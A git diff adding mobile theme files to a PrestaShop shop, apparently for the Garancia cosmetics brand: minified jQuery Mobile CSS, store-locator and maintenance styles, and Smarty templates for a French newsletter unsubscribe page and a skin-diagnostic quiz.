.ui-slider-track,.ui-field-contain.ui-hide-label .ui-rangeslider.ui-mini .ui-slider-track{right:0;left:0}}.ui-listview{margin:0}ol.ui-listview,ol.ui-listview .ui-li-divider{counter-reset:listnumbering}.ui-content .ui-listview,.ui-panel-inner > .ui-listview{margin:-15px}.ui-collapsible-content > .ui-listview{margin:-10px -15px}.ui-content .ui-listview-inset,.ui-panel-inner .ui-listview-inset{margin:1em 0}.ui-collapsible-content .ui-listview-inset{margin:.5em 0}.ui-listview,.ui-li{list-style:none;padding:0}.ui-li,.ui-li.ui-field-contain{display:block;margin:0;position:relative;overflow:visible;text-align:left;border-width:0;border-top-width:1px}.ui-li.ui-btn,.ui-li.ui-field-contain,.ui-li-divider,.ui-li-static{margin:0}.ui-listview-inset .ui-li{border-right-width:1px;border-left-width:1px}.ui-li.ui-last-child,.ui-li.ui-field-contain.ui-last-child{border-bottom-width:1px}.ui-collapsible-content > .ui-listview:not(.ui-listview-inset) > .ui-li.ui-first-child{border-top-width:0}.ui-collapsible-themed-content .ui-listview:not(.ui-listview-inset) > .ui-li.ui-last-child{border-bottom-width:0}.ui-li .ui-btn-text a.ui-link-inherit{text-overflow:ellipsis;overflow:hidden;white-space:nowrap}.ui-li-static{background-image:none}.ui-li-divider{padding:.5em 15px;font-size:14px;font-weight:bold}ol.ui-listview .ui-link-inherit:before,ol.ui-listview .ui-li-static:before,.ui-li-dec{font-size:.8em;display:inline-block;padding-right:.3em;font-weight:normal;counter-increment:listnumbering;content:counter(listnumbering) ". "}ol.ui-listview .ui-li-jsnumbering:before{content:""!important}.ui-listview > .ui-li.ui-first-child,.ui-listview .ui-btn.ui-first-child > .ui-li > .ui-btn-text > .ui-link-inherit{-webkit-border-top-right-radius:inherit;border-top-right-radius:inherit;-webkit-border-top-left-radius:inherit;border-top-left-radius:inherit}.ui-listview > .ui-li.ui-last-child,.ui-listview .ui-btn.ui-last-child > .ui-li > .ui-btn-text > .ui-link-inherit,.ui-collapsible-content > .ui-listview:not(.ui-listview-inset),.ui-collapsible-content > .ui-listview:not(.ui-listview-inset) .ui-li.ui-last-child{-webkit-border-bottom-right-radius:inherit;border-bottom-right-radius:inherit;-webkit-border-bottom-left-radius:inherit;border-bottom-left-radius:inherit}.ui-listview > .ui-li.ui-first-child .ui-li-link-alt{-webkit-border-top-right-radius:inherit;border-top-right-radius:inherit}.ui-listview > .ui-li.ui-last-child .ui-li-link-alt{-webkit-border-bottom-right-radius:inherit;border-bottom-right-radius:inherit}.ui-listview > .ui-li.ui-first-child .ui-li-thumb:not(.ui-li-icon){-webkit-border-top-left-radius:inherit;border-top-left-radius:inherit}.ui-listview > .ui-li.ui-last-child .ui-li-thumb:not(.ui-li-icon){-webkit-border-bottom-left-radius:inherit;border-bottom-left-radius:inherit}.ui-li>.ui-btn-inner{display:block;position:relative;padding:0}.ui-li .ui-btn-inner a.ui-link-inherit,.ui-li-static.ui-li{padding:.7em 15px;display:block}.ui-li-has-thumb .ui-btn-inner a.ui-link-inherit,.ui-li-static.ui-li-has-thumb{min-height:59px;padding-left:100px}.ui-li-has-icon .ui-btn-inner a.ui-link-inherit,.ui-li-static.ui-li-has-icon{min-height:20px;padding-left:40px}.ui-li-has-count .ui-btn-inner a.ui-link-inherit,.ui-li-static.ui-li-has-count,.ui-li-divider.ui-li-has-count{padding-right:45px}.ui-li-has-arrow .ui-btn-inner a.ui-link-inherit,.ui-li-static.ui-li-has-arrow{padding-right:40px}.ui-li-has-arrow.ui-li-has-count .ui-btn-inner a.ui-link-inherit,.ui-li-static.ui-li-has-arrow.ui-li-has-count{padding-right:75px}.ui-li-heading{font-size:16px;font-weight:bold;display:block;margin:.6em 0;text-overflow:ellipsis;overflow:hidden;white-space:nowrap}.ui-li-desc{font-size:12px;font-weight:normal;display:block;margin:-.5em 0 .6em;text-overflow:ellipsis;overflow:hidden;white-space:nowrap}.ui-li-thumb,.ui-listview .ui-li-icon{position:absolute;left:1px;top:0;max-height:80px;max-width:80px}.ui-listview .ui-li-icon{max-height:16px;max-width:16px;left:10px;top:.9em}.ui-li-thumb,.ui-listview .ui-li-icon,.ui-li-content{float:left;margin-right:10px}.ui-li-aside{float:right;width:50%;text-align:right;margin:.3em 0}@media all and (min-width:480px){.ui-li-aside{width:45%}}.ui-li-divider{cursor:default}.ui-li-has-alt .ui-btn-inner a.ui-link-inherit,.ui-li-static.ui-li-has-alt{padding-right:53px}.ui-li-has-alt.ui-li-has-count .ui-btn-inner a.ui-link-inherit,.ui-li-static.ui-li-has-alt.ui-li-has-count{padding-right:88px}.ui-li-has-count .ui-li-count{position:absolute;font-size:11px;font-weight:bold;padding:.2em .5em;top:50%;margin-top:-.9em;right:10px}.ui-li-has-count.ui-li-divider .ui-li-count,.ui-li-has-count .ui-link-inherit .ui-li-count{margin-top:-.95em}.ui-li-has-arrow.ui-li-has-count .ui-li-count{right:40px}.ui-li-has-alt.ui-li-has-count .ui-li-count{right:53px}.ui-li-link-alt{position:absolute;width:40px;height:100%;border-width:0;border-left-width:1px;top:0;right:0;margin:0;padding:0;z-index:2}.ui-li-link-alt .ui-btn{overflow:hidden;position:absolute;right:8px;top:50%;margin:-13px 0 0 0;border-bottom-width:1px;z-index:-1}.ui-li-link-alt .ui-btn-inner{padding:0;height:100%;position:absolute;width:100%;top:0;left:0}.ui-li-link-alt .ui-btn .ui-icon{right:50%;margin-right:-9px}.ui-li-link-alt .ui-btn-icon-notext .ui-btn-inner .ui-icon{position:absolute;top:50%;margin-top:-9px}.ui-listview * .ui-btn-inner > .ui-btn > .ui-btn-inner{border-top:0}.ui-listview-filter{border-width:0;overflow:hidden;margin:-15px -15px 15px -15px}.ui-collapsible-content .ui-listview-filter{margin:-10px -15px 10px -15px;border-bottom:inherit}.ui-listview-filter-inset{margin:-15px -5px;background:transparent}.ui-collapsible-content .ui-listview-filter-inset{margin:-5px;border-bottom-width:0}.ui-listview-filter .ui-input-search{margin:5px;width:auto;display:block}.ui-li.ui-screen-hidden{display:none}@media only screen and (min-device-width:768px) and (max-device-width:1024px){.ui-li .ui-btn-text{overflow:visible}}label.ui-slider{font-size:16px;line-height:1.4;font-weight:normal;margin:0;display:block}.ui-field-contain label.ui-slider{margin-bottom:.4em}div.ui-slider{height:30px;margin:.5em 0;zoom:1}div.ui-slider.ui-mini{margin:.25em 0}.ui-field-contain div.ui-slider,.ui-field-contain div.ui-slider.ui-mini{margin:0}div.ui-slider:before,div.ui-slider:after{content:"";display:table}div.ui-slider:after{clear:both}input.ui-input-text.ui-slider-input{display:block;float:left;margin:0;padding:4px;width:40px;height:22px;line-height:22px;font-size:14px;border:none;background-image:none;font-weight:bold;text-align:center;vertical-align:text-bottom;outline:0;-webkit-box-sizing:content-box;-moz-box-sizing:content-box;-ms-box-sizing:content-box;box-sizing:content-box}.ui-slider-input::-webkit-outer-spin-button,.ui-slider-input::-webkit-inner-spin-button{-webkit-appearance:none;margin:0}.ui-slider-track,.ui-slider-switch{position:relative;overflow:visible;height:15px;margin:0 15px 0 68px;top:6px}.ui-slider-track.ui-mini{height:12px;top:8px}.ui-slider-bg{border:none;height:100%}.ui-slider-track .ui-btn.ui-slider-handle,.ui-slider-switch .ui-btn.ui-slider-handle{position:absolute;z-index:1;top:50%;width:28px;height:28px;margin:-15px 0 0 -15px;outline:0}.ui-slider-track.ui-mini .ui-slider-handle{height:14px;width:14px;margin:-8px 0 0 -7px}.ui-slider-handle .ui-btn-inner{padding:0;height:100%}.ui-slider-track.ui-mini .ui-slider-handle .ui-btn-inner{height:30px;width:30px;padding:0;margin:-9px 0 0 -9px;border-top:none}select.ui-slider-switch{display:none}div.ui-slider-switch{display:inline-block;height:32px;width:5.8em;margin:.5em 0;top:0}div.ui-slider-switch.ui-mini{width:5em;height:29px;margin:.25em 0;top:0}.ui-field-contain .ui-slider-switch,.ui-field-contain .ui-slider-switch.ui-mini{margin:0}.ui-slider-inneroffset{margin:0 16px;position:relative;z-index:1}.ui-slider-switch.ui-mini .ui-slider-inneroffset{margin:0 15px 0 14px}.ui-slider-switch .ui-btn.ui-slider-handle{margin:1px 0 0 -15px}.ui-slider-switch.ui-mini .ui-slider-handle{width:25px;height:25px;margin:1px 0 0 -13px;padding:0}.ui-slider-handle-snapping{-webkit-transition:left 70ms linear;-moz-transition:left 70ms linear}.ui-slider-switch.ui-mini .ui-slider-handle .ui-btn-inner{height:30px;width:30px;padding:0;margin:0;border-top:none}.ui-slider-switch .ui-slider-label{position:absolute;text-align:center;width:100%;overflow:hidden;font-size:16px;top:0;line-height:2;min-height:100%;border-width:0;white-space:nowrap;cursor:pointer}.ui-slider-switch.ui-mini .ui-slider-label{font-size:14px}.ui-slider-switch .ui-slider-label-a{z-index:1;left:0;text-indent:-1.5em}.ui-slider-switch .ui-slider-label-b{z-index:0;right:0;text-indent:1.5em}@media all and (min-width:28em){.ui-field-contain label.ui-slider{vertical-align:top;display:inline-block;width:20%;margin:0 2% 0 0}.ui-field-contain div.ui-slider{display:inline-block;width:78%}.ui-field-contain.ui-hide-label div.ui-slider{display:block;width:auto}.ui-field-contain div.ui-slider-switch,.ui-field-contain.ui-hide-label div.ui-slider-switch{display:inline-block;width:5.8em}.ui-field-contain div.ui-slider-switch.ui-mini{width:5em}}.ui-table{border:0;border-collapse:collapse;padding:0;width:100%}.ui-table th,.ui-table td{line-height:1.5em;text-align:left;padding:.4em .5em;vertical-align:top}.ui-table th .ui-btn,.ui-table td .ui-btn{line-height:normal}.ui-table th{font-weight:bold}.ui-table caption{text-align:left;margin-bottom:1.4em;opacity:.5}.table-stroke thead th{border-bottom:1px solid #d6d6d6;border-bottom:1px solid rgba(0,0,0,.1)}.table-stroke tbody th,.table-stroke tbody td{border-bottom:1px solid #e6e6e6;border-bottom:1px solid rgba(0,0,0,.05)}.table-stripe tbody tr:nth-child(odd) td,.table-stripe tbody tr:nth-child(odd) th{background-color:#eee;background-color:rgba(0,0,0,0.04)}.table-stripe thead th,.table-stripe tbody tr:last-child{border-bottom:1px solid #d6d6d6;border-bottom:1px solid rgba(0,0,0,.1)}.ui-table-columntoggle-btn{float:right;margin-bottom:.8em}.ui-table-columntoggle-popup fieldset{margin:0}@media only all{th.ui-table-priority-6,td.ui-table-priority-6,th.ui-table-priority-5,td.ui-table-priority-5,th.ui-table-priority-4,td.ui-table-priority-4,th.ui-table-priority-3,td.ui-table-priority-3,th.ui-table-priority-2,td.ui-table-priority-2,th.ui-table-priority-1,td.ui-table-priority-1{display:none}}@media screen and (min-width:20em){.ui-table-columntoggle.ui-responsive th.ui-table-priority-1,.ui-table-columntoggle.ui-responsive td.ui-table-priority-1{display:table-cell}}@media screen and (min-width:30em){.ui-table-columntoggle.ui-responsive th.ui-table-priority-2,.ui-table-columntoggle.ui-responsive td.ui-table-priority-2{display:table-cell}}@media screen and (min-width:40em){.ui-table-columntoggle.ui-responsive th.ui-table-priority-3,.ui-table-columntoggle.ui-responsive td.ui-table-priority-3{display:table-cell}}@media screen and (min-width:50em){.ui-table-columntoggle.ui-responsive th.ui-table-priority-4,.ui-table-columntoggle.ui-responsive td.ui-table-priority-4{display:table-cell}}@media screen and (min-width:60em){.ui-table-columntoggle.ui-responsive th.ui-table-priority-5,.ui-table-columntoggle.ui-responsive td.ui-table-priority-5{display:table-cell}}@media screen and (min-width:70em){.ui-table-columntoggle.ui-responsive th.ui-table-priority-6,.ui-table-columntoggle.ui-responsive td.ui-table-priority-6{display:table-cell}}.ui-table-columntoggle th.ui-table-cell-hidden,.ui-table-columntoggle td.ui-table-cell-hidden,.ui-table-columntoggle.ui-responsive th.ui-table-cell-hidden,.ui-table-columntoggle.ui-responsive td.ui-table-cell-hidden{display:none}.ui-table-columntoggle th.ui-table-cell-visible,.ui-table-columntoggle td.ui-table-cell-visible,.ui-table-columntoggle.ui-responsive th.ui-table-cell-visible,.ui-table-columntoggle.ui-responsive td.ui-table-cell-visible{display:table-cell}.ui-table-reflow td .ui-table-cell-label,.ui-table-reflow th .ui-table-cell-label{display:none}@media only all{.ui-table-reflow thead td,.ui-table-reflow thead th{display:none}.ui-table-reflow td,.ui-table-reflow th{text-align:left;display:block}.ui-table-reflow tbody th{margin-top:3em}.ui-table-reflow td .ui-table-cell-label,.ui-table-reflow th .ui-table-cell-label{display:block;padding:.4em;min-width:30%;display:inline-block;margin:-.4em 1em -.4em -.4em}.ui-table-reflow th .ui-table-cell-label-top,.ui-table-reflow td .ui-table-cell-label-top{display:block;padding:.4em 0;margin:.4em 0;text-transform:uppercase;font-size:.9em;font-weight:normal}}@media ( min-width:35em ){.ui-table-reflow.ui-responsive{display:table-row-group}.ui-table-reflow.ui-responsive td,.ui-table-reflow.ui-responsive th,.ui-table-reflow.ui-responsive tbody th,.ui-table-reflow.ui-responsive tbody td,.ui-table-reflow.ui-responsive thead td,.ui-table-reflow.ui-responsive thead th{display:table-cell;margin:0}.ui-table-reflow.ui-responsive td .ui-table-cell-label,.ui-table-reflow.ui-responsive th .ui-table-cell-label{display:none}}@media ( max-width:35em ){.ui-table-reflow.ui-responsive td,.ui-table-reflow.ui-responsive th{width:100%;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;float:left;clear:left}}.ui-panel{width:17em;min-height:100%;border-width:0;position:absolute;top:0;display:block}.ui-panel-closed{width:0;overflow:hidden}.ui-panel-fixed{position:fixed;bottom:-1px;padding-bottom:1px}.ui-panel-display-overlay{z-index:1001}.ui-panel-display-reveal{z-index:0}.ui-panel-display-push{z-index:999}.ui-panel-inner{padding:15px}.ui-panel-content-wrap{position:relative;left:0;min-height:inherit;border:none;z-index:999}.ui-panel-content-wrap-display-overlay,.ui-panel-animate.ui-panel-content-wrap > .ui-header,.ui-panel-content-wrap-closed{position:static}.ui-panel-dismiss{position:absolute;top:0;left:0;height:100%;width:100%;z-index:1002;display:none}.ui-panel-dismiss-open{display:block}.ui-panel-animate{-webkit-transition:-webkit-transform 350ms ease;-moz-transition:-moz-transform 350ms ease;transition:transform 350ms ease}.ui-panel-animate.ui-panel:not(.ui-panel-display-reveal),.ui-panel-animate.ui-panel:not(.ui-panel-display-reveal) > div,.ui-panel-animate.ui-panel-content-wrap,.ui-panel-animate.ui-panel-content-fixed-toolbar{-webkit-backface-visibility:hidden;-webkit-transform:translate3d(0,0,0)}.ui-panel-position-left{left:-17em}.ui-panel-animate.ui-panel-position-left.ui-panel-display-overlay,.ui-panel-animate.ui-panel-position-left.ui-panel-display-push{left:0;-webkit-transform:translate3d(-17em,0,0);-moz-transform:translate3d(-17em,0,0);transform:translate3d(-17em,0,0)}.ui-panel-position-left.ui-panel-display-reveal,.ui-panel-position-left.ui-panel-open{left:0}.ui-panel-animate.ui-panel-position-left.ui-panel-open.ui-panel-display-overlay,.ui-panel-animate.ui-panel-position-left.ui-panel-open.ui-panel-display-push{-webkit-transform:translate3d(0,0,0);-moz-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ui-panel-position-right{right:-17em}.ui-panel-animate.ui-panel-position-right.ui-panel-display-overlay,.ui-panel-animate.ui-panel-position-right.ui-panel-display-push{right:0;-webkit-transform:translate3d(17em,0,0);-moz-transform:translate3d(17em,0,0);transform:translate3d(17em,0,0)}.ui-panel-position-right.ui-panel-display-reveal,.ui-panel-position-right.ui-panel-open{right:0}.ui-panel-animate.ui-panel-position-right.ui-panel-open.ui-panel-display-overlay,.ui-panel-animate.ui-panel-position-right.ui-panel-open.ui-panel-display-push{-webkit-transform:translate3d(0,0,0);-moz-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ui-panel-content-fixed-toolbar-position-left.ui-panel-content-fixed-toolbar-open,.ui-panel-content-wrap-position-left.ui-panel-content-wrap-open,.ui-panel-dismiss-position-left.ui-panel-dismiss-open{left:17em;right:-17em}.ui-panel-animate.ui-panel-content-fixed-toolbar-position-left.ui-panel-content-fixed-toolbar-open.ui-panel-content-fixed-toolbar-display-reveal,.ui-panel-animate.ui-panel-content-fixed-toolbar-position-left.ui-panel-content-fixed-toolbar-open.ui-panel-content-fixed-toolbar-display-push,.ui-panel-animate.ui-panel-content-wrap-position-left.ui-panel-content-wrap-open.ui-panel-content-wrap-display-reveal,.ui-panel-animate.ui-panel-content-wrap-position-left.ui-panel-content-wrap-open.ui-panel-content-wrap-display-push{left:0;right:0;-webkit-transform:translate3d(17em,0,0);-moz-transform:translate3d(17em,0,0);transform:translate3d(17em,0,0)}.ui-panel-content-fixed-toolbar-position-right.ui-panel-content-fixed-toolbar-open,.ui-panel-content-wrap-position-right.ui-panel-content-wrap-open,.ui-panel-dismiss-position-right.ui-panel-dismiss-open{left:-17em;right:17em}.ui-panel-animate.ui-panel-content-fixed-toolbar-position-right.ui-panel-content-fixed-toolbar-open.ui-panel-content-fixed-toolbar-display-reveal,.ui-panel-animate.ui-panel-content-fixed-toolbar-position-right.ui-panel-content-fixed-toolbar-open.ui-panel-content-fixed-toolbar-display-push,.ui-panel-animate.ui-panel-content-wrap-position-right.ui-panel-content-wrap-open.ui-panel-content-wrap-display-reveal,.ui-panel-animate.ui-panel-content-wrap-position-right.ui-panel-content-wrap-open.ui-panel-content-wrap-display-push{left:0;right:0;-webkit-transform:translate3d(-17em,0,0);-moz-transform:translate3d(-17em,0,0);transform:translate3d(-17em,0,0)}.ui-panel-content-fixed-toolbar-open.ui-panel-content-fixed-toolbar-display-overlay,.ui-panel-content-wrap-open.ui-panel-content-wrap-display-overlay{left:0}.ui-page-active.ui-page-panel{overflow-x:hidden}.ui-panel-display-reveal{-webkit-box-shadow:inset -5px 0 5px rgba(0,0,0,.15);-moz-box-shadow:inset -5px 0 5px rgba(0,0,0,.15);box-shadow:inset -5px 0 5px rgba(0,0,0,.15)}.ui-panel-position-right.ui-panel-display-reveal{-webkit-box-shadow:inset 5px 0 5px rgba(0,0,0,.15);-moz-box-shadow:inset 5px 0 5px rgba(0,0,0,.15);box-shadow:inset 5px 0 5px rgba(0,0,0,.15)}.ui-panel-position-right.ui-panel-display-overlay{-webkit-box-shadow:-5px 0 5px rgba(0,0,0,.15);-moz-box-shadow:-5px 0 5px rgba(0,0,0,.15);box-shadow:-5px 0 5px rgba(0,0,0,.15)}.ui-panel-position-left.ui-panel-display-overlay{-webkit-box-shadow:5px 0 5px rgba(0,0,0,.15);-moz-box-shadow:5px 0 5px rgba(0,0,0,.15);box-shadow:5px 0 5px rgba(0,0,0,.15)}.ui-panel-display-push.ui-panel-open.ui-panel-position-left{border-right-width:1px;margin-right:-1px}.ui-panel-animate.ui-panel-content-fixed-toolbar-position-left.ui-panel-content-fixed-toolbar-open.ui-panel-content-fixed-toolbar-display-push{margin-left:1px}.ui-panel-display-push.ui-panel-open.ui-panel-position-right{border-left-width:1px;margin-left:-1px}.ui-panel-animate.ui-panel-content-fixed-toolbar-position-right.ui-panel-content-fixed-toolbar-open.ui-panel-content-fixed-toolbar-display-push{margin-right:1px}@media (min-width:55em){.ui-responsive-panel.ui-page-panel-open .ui-panel-content-fixed-toolbar-display-push.ui-panel-content-fixed-toolbar-position-left,.ui-responsive-panel.ui-page-panel-open .ui-panel-content-fixed-toolbar-display-reveal.ui-panel-content-fixed-toolbar-position-left,.ui-responsive-panel.ui-page-panel-open .ui-panel-content-wrap-display-push.ui-panel-content-wrap-position-left,.ui-responsive-panel.ui-page-panel-open .ui-panel-content-wrap-display-reveal.ui-panel-content-wrap-position-left{margin-right:17em}.ui-responsive-panel.ui-page-panel-open .ui-panel-content-fixed-toolbar-display-push.ui-panel-content-fixed-toolbar-position-right,.ui-responsive-panel.ui-page-panel-open .ui-panel-content-fixed-toolbar-display-reveal.ui-panel-content-fixed-toolbar-position-right,.ui-responsive-panel.ui-page-panel-open .ui-panel-content-wrap-display-push.ui-panel-content-wrap-position-right,.ui-responsive-panel.ui-page-panel-open .ui-panel-content-wrap-display-reveal.ui-panel-content-wrap-position-right{margin-left:17em}.ui-responsive-panel.ui-page-panel-open .ui-panel-content-fixed-toolbar-display-push,.ui-responsive-panel.ui-page-panel-open .ui-panel-content-fixed-toolbar-display-reveal{width:auto}.ui-responsive-panel .ui-panel-dismiss-display-push{display:none}} + + +.ui-focus,.ui-btn:focus{ + -moz-box-shadow:inset 0 0 3px #B9DA1A,0px 0 9px #B9DA1A;-webkit-box-shadow:inset 0 0 3px #B9DA1A,0px 0 9px #B9DA1A;box-shadow:inset 0 0 3px #B9DA1A,0px 0 9px #B9DA1A} +.ui-btn-hover-c, +.ui-btn-active{ + border:1px solid #B9DA1A;background:#B9DA1A;font-weight:bold;color:#000000;cursor:pointer;text-decoration:none;background-image:-webkit-gradient(linear,left top,left bottom,from( #B9DA1A ),to( #c3d765 ));background-image:-webkit-linear-gradient( #B9DA1A,#c3d765 );background-image:-moz-linear-gradient( #B9DA1A,#c3d765 );background-image:-ms-linear-gradient( #B9DA1A,#c3d765 );background-image:-o-linear-gradient( #B9DA1A,#c3d765 );background-image:linear-gradient( #B9DA1A,#c3d765 );font-family:Arial,Helvetica,sans-serif +} \ No newline at end of file diff --git a/themes/default/mobile/css/maintenance.css b/themes/default/mobile/css/maintenance.css new file mode 100755 index 0000000..c145ce2 --- /dev/null +++ b/themes/default/mobile/css/maintenance.css @@ -0,0 +1,20 @@ +#maintenance { + margin:0 auto; + width:100%; + font:normal 20px Arial, Verdana, sans-serif; + font-weight: bold; + color:#333; +} +#maintenance #store { + text-align:center; +} +#maintenance #message { + margin:20px 20px; + text-align:center; +} +#maintenance #prestashop { + background:url(../img/bg_maintenance.png) no-repeat 100% 0 #fff; + background-position:center bottom; + height:360px; + margin: 60px; +} \ No newline at end of file diff --git a/themes/default/mobile/css/stores.css b/themes/default/mobile/css/stores.css new file mode 100644 index 0000000..514345a --- /dev/null +++ b/themes/default/mobile/css/stores.css @@ -0,0 +1,94 @@ +#page .borderGreen { + width:auto; + float:none; +} +#page .borderGreen h1{ + margin:30px 0; + border-bottom:1px solid #000000; + color: #000000; + font-size: 30px; + border-bottom: 1px solid #000000; + padding: 0 0 30px; +} + +#stores #center_colum label { + display:inline-block; + width:150px; + font-weight:bold; + text-align:right +} +.colLeft{ + width:306px; + height:522px; + overflow:hidden; + float:left; +} +.colRight{ + width:632px; + float:right; +} +.locationInputs{ + width:306px; + margin:-3px 0 0; +} +input#addressInput { + border:0; + height:32px; + width:249px; + padding:3px 10px 0 ; + background:url('../img/inputMagasin.png') no-repeat 0 0; + float:left; +} +input#submitAddressInput { + border:0; + height:35px; + width:37px; + padding:0; + margin:0; + background:url('../img/inputMagasin.png') no-repeat right 0; + float:left; +} +select#radiusSelect { + margin: 0 5px 0 0; + width:50px; + border:1px solid #ccc +} + +#stores_loader { + display: none; +} + +#locationSelect { + visibility: hidden; +} + +#map2 { + margin:0; + height:520px; + width:632px; + overflow:hidden; +} +#map { + margin:0; + height:520px; + width:632px; + float:left; +} +.storestable{ +clear:both; +margin:20px 0 0; +height:500px; +width:306px; +float:left; +position:relative; +} +#stores-table {border:0} +#stores-table tr:nth-child(odd) {} +#stores-table td { + border:0; + min-height:70px; + padding:12px 0; +} +#stores-table td{color:#000000;font-size:12px;} +#stores-table td b{font-weight:bold;font-size:14px;} +#stores-table td span{color:#8daa01;} \ No newline at end of file diff --git a/themes/default/mobile/css/storesmobile.css b/themes/default/mobile/css/storesmobile.css new file mode 100644 index 0000000..0c40d57 --- /dev/null +++ b/themes/default/mobile/css/storesmobile.css @@ -0,0 +1,117 @@ +#page .borderGreen { + width:auto; + float:none; +} +#page .borderGreen h1{ + margin:30px 0; + border-bottom:1px solid #000000; + color: #000000; + font-size: 30px; + border-bottom: 1px solid #000000; + padding: 0 0 30px; +} + +#stores #center_colum label { + display:inline-block; + width:150px; + font-weight:bold; + text-align:right +} +.colLeft{ + width:384px; + display:block; + margin:0 auto 60px; + float:none; +} +.colRight{ + width:632px; + float:right; +} +.locationInputs{ + width:398px; + margin:0px 0 0; +} +div.addressInput{ + width:349px; + float:left; + line-height:45px; + height:45px; +} +div.submitAddressInput{ + width:49px; + float:left; + line-height:45px; + height:45px; + padding:0; + margin:0; +} +input#addressInput { + border:0; + height:45px; + line-height:45px; + width:329px; + padding:0px 10px 0 ; + background:url('../img/inputMagasinMobile.png') no-repeat 0 0; + float:left; +} +input#submitAddressInput { + width:49px; + float:left; + line-height:45px; + height:45px; + margin:0; + padding:0; + background:url('../img/inputMagasinMobile.png') no-repeat right 0; + float:left; + cursor:pointer; +} +select#radiusSelect { + margin: 0 5px 0 0; + width:50px; + border:1px solid #ccc +} + +#stores_loader { + display: none; +} + +#locationSelect { + visibility: hidden; +} +.colRight{ + float:left; + width:624px; + margin:0 0 -20px -49px; +} +#map2 { + margin:0; + height:519px; + width:100%; + overflow:hidden; +} +#map { + margin:0; + height:1000px; + width:1000px; + margin-left:-184px; + margin-top:-240px; + float:left; +} +.storestable{ +clear:both; +margin:20px 0 0; +height:auto; +width:306px; +float:left; +position:relative; +} +#stores-table {border:0} +#stores-table tr:nth-child(odd) {} +#stores-table td { + border:0; + min-height:70px; + padding:12px 0; +} +#stores-table td{color:#000000;font-size:12px;} +#stores-table td b{font-weight:bold;font-size:15px;} +#stores-table td span{color:#8daa01;} \ No newline at end of file diff --git a/themes/default/mobile/desinscription.tpl b/themes/default/mobile/desinscription.tpl new file mode 100755 index 0000000..3fa28e6 --- /dev/null +++ b/themes/default/mobile/desinscription.tpl @@ -0,0 +1,19 @@ +
        +

        [{l s='Désinscription de la newsletter Garancia'}]

        +
        +
        +

        {l s='Si vous êtes sûr(e) de vouloir vous désabonner (Vous allez nous manquer !) indiquez votre adresse e-mail.'}

        + + + + +
        + + +
        +
        + +
        +
        +
        +
        +

        [{$categorie->name}]

        + +
        \ No newline at end of file diff --git a/themes/default/mobile/diagnostic-share.tpl b/themes/default/mobile/diagnostic-share.tpl new file mode 100755 index 0000000..cde9859 --- /dev/null +++ b/themes/default/mobile/diagnostic-share.tpl @@ -0,0 +1,70 @@ + +{* +Je viens de faire mon DIAGNOSTIC BEAUTÉ PERSONNALISÉ sur www.garancia-beauty.com. Toi aussi, viens découvrir quel est le RITUEL MAGIQUE GARANCIA adapté à ton type de peau en cliquant sur le lien ci-dessous +*} + + + +
        +
        +
        +
        + + {l s='Envoyer'} + +

        {l s='Invitez vos amis à faire leur diagnostic'}

        +
        + \ No newline at end of file diff --git a/themes/default/mobile/diagnostic.tpl b/themes/default/mobile/diagnostic.tpl new file mode 100755 index 0000000..c042b7a --- /dev/null +++ b/themes/default/mobile/diagnostic.tpl @@ -0,0 +1,240 @@ + +{capture name=path}{l s='Votre diagnostic'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} + + +
        + {if $step<1} +

        [{l s='Diagnostic'}]

        + {include file="$tpl_dir./errors.tpl"} +
        +
        +

        {l s='Savéria COSTE'}

        +

        {l s='Savéria COSTE'}, {l s='Docteur en Pharmacie, vous fait '}
        {l s='partager son expertise pour votre diagnostic de peau.'}

        +

        {l s='Avez-vous les bons gestes ? Les bonnes routines beauté ?'}
        {l s='Répondez à ces quelques questions pour avoir un'}
        {l s='diagnostic clair et précis.'}

        +
        +
        +
        + {else if $step==7} + + + +

        [{l s='Votre rituel beauté magique'}]

        + {include file="$tpl_dir./errors.tpl"} +

        {l s='Découvrez votre rituel beauté personnalisé complètement magique !'}

        +
        +
        + {if isset($categoryA)}{include file="./diagnostic-items.tpl" categorie=$categoryA rituel=1}{/if} + {if isset($categoryB)}{include file="./diagnostic-items.tpl" categorie=$categoryB rituel=2}{/if} + {if isset($categoryC)}{include file="./diagnostic-items.tpl" categorie=$categoryC rituel=3}{/if} + {if isset($categoryD)}{include file="./diagnostic-items.tpl" categorie=$categoryD rituel=4}{/if} +
        +
        +
        + {include file="./diagnostic-share.tpl"} +
        +
        +
        + +
        +
        + + {else} +

        [{l s='Diagnostic'}]

        + {include file="$tpl_dir./errors.tpl"} + + + +
        + {foreach from=$full_rep item=rep} + {if in_array($rep.id_item,$Q_a_Masquer)} + {assign var=QAMasquer value=1} + {else} + {assign var=QAMasquer value=0} + {/if} + {if $rep.id_item==5} +

        {l s='Avez-vous des zones de brillance au niveau :'}

        + {/if} + {if $rep.id_item==14} + {if $QAMasquer==1} + + {else} +
        {* curseur à faire *} + + {if $rep.id_item==5 || $rep.id_item==6} +

        {$rep.question}

        + {else} +

        {$rep.question}

        + {/if} + +
        + 1 + 2 + 3 + 4 + 5 +
        +
        + 1 + 2 + 3 + 4 + 5 +
        +
        +
        + + + {/if} + {else} + {if $rep.id_item==12|| $rep.id_item==13} +
        + {else} +
        + {/if} + {if $QAMasquer==1} + + {else} + {if $rep.id_item==5 || $rep.id_item==6} +

        {$rep.question}

        + {else} +

        {$rep.question}

        + {/if} +
        + {if $rep.repA!=""}{if $rep.repC!=""}
        {/if}{/if} + {if $rep.repB!=""}{if $rep.repC!=""}
        {/if} + {/if} + + {if $rep.repC!=""}{if $rep.repD!=""}
        {/if} + {/if} + + {if $rep.repD!=""}{if $rep.repE!=""}
        {/if} + {/if} + {if $rep.repE!=""}{/if} +
        +
        + {/if} + {if $rep.id_item==12|| $rep.id_item==13} +
        + {/if} + {/if} + {if $rep.texterepA!=""}{/if} + {if $rep.texterepB!=""}{/if} + {if $rep.texterepC!=""}{/if} + {if $rep.texterepD!=""}{/if} + {if $rep.texterepE!=""}{/if} + + {/foreach} + + + +
        + + {/if} +
        +
